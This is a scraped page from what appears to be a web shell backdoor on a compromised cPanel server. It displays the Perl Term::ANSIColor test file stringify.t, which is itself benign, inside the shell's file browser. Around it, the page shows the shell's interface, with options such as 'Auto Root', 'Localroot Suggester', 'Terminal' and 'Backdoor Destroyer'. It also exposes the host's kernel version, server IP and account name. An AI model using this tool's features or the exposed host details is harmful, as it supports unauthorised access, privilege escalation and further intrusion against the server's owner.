Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Term-ANSIColor /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
aliases-func.t
2.72
KB
-r--r--r--
2014-12-27 11:49
basic.t
14.8
KB
-r--r--r--
2014-12-27 11:49
basic256.t
4.99
KB
-r--r--r--
2014-12-27 11:49
eval.t
1.23
KB
-r--r--r--
2014-12-27 11:49
stringify.t
1.55
KB
-r--r--r--
2014-12-27 11:49
taint.t
1.29
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!/usr/bin/perl # # Test suite for stringify interaction. # # Copyright 2011 Revilo Reegiles # Copyright 2011 Russ Allbery <rra@stanford.edu> # # This program is free software; you may redistribute it and/or modify it # under the same terms as Perl itself. use strict; use warnings; use Test::More tests => 6; # Create a dummy class that implements stringification. ## no critic (Modules::ProhibitMultiplePackages) package Test::Stringify; use overload '""' => 'stringify'; sub new { return bless {}, 'Test::Stringify' } sub stringify { return "Foo Bar\n" } # Back to the main package. package main; # Load the module. BEGIN { delete $ENV{ANSI_COLORS_ALIASES}; delete $ENV{ANSI_COLORS_DISABLED}; use_ok('Term::ANSIColor', qw(colored)); } # Some basic tests of colored without stringification. my $result = colored(['blue', 'bold'], 'testing'); is($result, "\e[34;1mtesting\e[0m", 'colored with an array reference'); $result = colored("ok\n", 'bold blue'); is($result, "\e[1;34mok\n\e[0m", 'colored with a following string'); # Create a stringifiable object and repeat the tests. my $test = Test::Stringify->new; $result = colored($test . q{}, 'bold blue'); is($result, "\e[1;34mFoo Bar\n\e[0m", 'colored with forced stringification'); $result = colored($test, 'bold blue'); is($result, "\e[1;34mFoo Bar\n\e[0m", 'colored with a non-array reference'); # Create a hash reference and try stringifying it. my %foo = (foo => 'bar'); $result = colored(\%foo, 'bold blue'); like( $result, qr{ \e\[1;34m HASH\(.*\) \e\[0m }xms, 'colored with a hash reference' );